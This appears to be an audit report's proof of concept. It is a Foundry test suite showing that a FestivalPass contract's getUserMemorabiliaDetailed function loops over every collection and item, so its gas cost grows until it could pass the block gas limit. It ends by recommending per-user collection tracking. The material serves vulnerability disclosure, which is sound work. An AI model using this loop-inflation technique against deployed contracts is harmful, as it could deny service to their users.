The POC is a test that is run to show the gas consumption when there are numerous collections and items in the contract. Running the test with `forge test --match-contract DoSUnboundedLoopTest -vv` will show the gas consumption for different collection and item sizes.
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
contract DoSUnboundedLoopTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public organizer = makeAddr("organizer");
address public user = makeAddr("user");
uint256 constant GENERAL_PRICE = 0.05 ether;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
uint256 constant GENERAL_MAX_SUPPLY = 5000;
uint256 constant VIP_MAX_SUPPLY = 1000;
uint256 constant BACKSTAGE_MAX_SUPPLY = 100;
function setUp() public {
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.startPrank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, GENERAL_MAX_SUPPLY);
festivalPass.configurePass(2, VIP_PRICE, VIP_MAX_SUPPLY);
festivalPass.configurePass(3, BACKSTAGE_PRICE, BACKSTAGE_MAX_SUPPLY);
vm.stopPrank();
vm.deal(user, 100 ether);
vm.prank(address(festivalPass));
beatToken.mint(user, 1000000e18);
}
function testDoSWithManyCollections() public {
vm.prank(user);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.startPrank(organizer);
for (uint256 i = 0; i < 200; i++) {
festivalPass.createMemorabiliaCollection(
string(abi.encodePacked("Collection ", vm.toString(i))),
"ipfs://test",
1e18,
50,
true
);
}
vm.stopPrank();
vm.startPrank(user);
for (uint256 collectionId = 100; collectionId < 150; collectionId++) {
festivalPass.redeemMemorabilia(collectionId);
}
vm.stopPrank();
uint256 gasBefore = gasleft();
vm.prank(user);
festivalPass.getUserMemorabiliaDetailed(user);
uint256 gasUsed = gasBefore - gasleft();
console.log("Gas used with 200 collections (50 items owned):", gasUsed);
console.log(
"Total iterations performed: 200 collections * ~25 items avg = ~5000 iterations"
);
assertTrue(
gasUsed > 500000,
"Gas usage should be substantial with many collections"
);
uint256 estimatedGasFor1000Collections = gasUsed * 5;
console.log(
"Estimated gas for 1000 collections:",
estimatedGasFor1000Collections
);
if (estimatedGasFor1000Collections > 30000000) {
console.log(
"CRITICAL: DoS vulnerability confirmed - would exceed block gas limit!"
);
}
console.log(
"DoS vulnerability demonstrated through gas consumption scaling"
);
}
function testDoSWithManyItemsPerCollection() public {
vm.prank(user);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.prank(organizer);
uint256 collectionId = festivalPass.createMemorabiliaCollection(
"Large Collection",
"ipfs://test",
1e18,
5000,
true
);
vm.startPrank(user);
for (uint256 i = 0; i < 500; i++) {
festivalPass.redeemMemorabilia(collectionId);
}
vm.stopPrank();
uint256 gasBefore = gasleft();
vm.prank(user);
festivalPass.getUserMemorabiliaDetailed(user);
uint256 gasUsed = gasBefore - gasleft();
console.log("Gas used with 1 collection (500 items owned):", gasUsed);
console.log("Inner loop iterations: 500 items in collection");
assertTrue(
gasUsed > 1500000,
"Gas usage should be substantial with many items"
);
uint256 estimatedGasFor5000Items = (gasUsed * 5000) / 500;
console.log(
"Estimated gas for 5000 items in one collection:",
estimatedGasFor5000Items
);
if (estimatedGasFor5000Items > 30000000) {
console.log(
"CRITICAL: DoS vulnerability confirmed - inner loop would exceed block gas limit!"
);
}
console.log(
"DoS vulnerability demonstrated through inner loop scaling"
);
}
function testDoSGasUsageComparison() public {
vm.prank(user);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.prank(organizer);
uint256 collectionId1 = festivalPass.createMemorabiliaCollection(
"Small Collection",
"ipfs://test",
1e18,
10,
true
);
vm.startPrank(user);
for (uint256 i = 0; i < 5; i++) {
festivalPass.redeemMemorabilia(collectionId1);
}
vm.stopPrank();
uint256 gasBefore = gasleft();
vm.prank(user);
festivalPass.getUserMemorabiliaDetailed(user);
uint256 gasUsedSmall = gasBefore - gasleft();
console.log("Gas used for small collection (5 items):", gasUsedSmall);
vm.prank(organizer);
uint256 collectionId2 = festivalPass.createMemorabiliaCollection(
"Large Collection",
"ipfs://test",
1e18,
1000,
true
);
vm.startPrank(user);
for (uint256 i = 0; i < 200; i++) {
festivalPass.redeemMemorabilia(collectionId2);
}
vm.stopPrank();
gasBefore = gasleft();
vm.prank(user);
festivalPass.getUserMemorabiliaDetailed(user);
uint256 gasUsedLarge = gasBefore - gasleft();
console.log(
"Gas used for large collection (205 total items):",
gasUsedLarge
);
console.log("Gas increase factor:", gasUsedLarge / gasUsedSmall);
assertTrue(
gasUsedLarge > gasUsedSmall * 2,
"Gas usage should increase significantly"
);
console.log("DoS Vulnerability Demonstrated:");
console.log("- Gas usage scales with number of collections and items");
console.log(
"- With enough collections/items, getUserMemorabiliaDetailed will exceed block gas limit"
);
console.log("- Current Ethereum block gas limit: ~30M gas");
console.log(
"- Extrapolated gas for 10,000 items: ~",
(gasUsedLarge * 10000) / 205,
"gas"
);
}
function testDoSWithExtremeLoad() public {
vm.prank(user);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.startPrank(organizer);
for (uint256 i = 0; i < 100; i++) {
festivalPass.createMemorabiliaCollection(
string(abi.encodePacked("Collection ", vm.toString(i))),
"ipfs://test",
1e18,
100,
true
);
}
vm.stopPrank();
vm.startPrank(user);
for (uint256 collectionId = 100; collectionId < 150; collectionId++) {
festivalPass.redeemMemorabilia(collectionId);
}
vm.stopPrank();
uint256 gasBefore = gasleft();
vm.prank(user);
festivalPass.getUserMemorabiliaDetailed(user);
uint256 gasUsed = gasBefore - gasleft();
console.log("Gas used with 100 collections (50 items owned):", gasUsed);
console.log("Estimated gas for 1000 collections:", gasUsed * 10);
console.log(
"Block gas limit (~30M) would be exceeded with ~",
30000000 / gasUsed,
"x this load"
);
assertTrue(
gasUsed > 100000,
"Gas usage should be substantial with many collections"
);
uint256 estimatedGasFor1000Collections = gasUsed * 10;
if (estimatedGasFor1000Collections > 30000000) {
console.log(
"CRITICAL: Estimated gas exceeds typical block gas limit!"
);
console.log("This confirms the DoS vulnerability exists");
}
}
}
The architectural design should be changed to track user collections instead of looping through all the collections and items.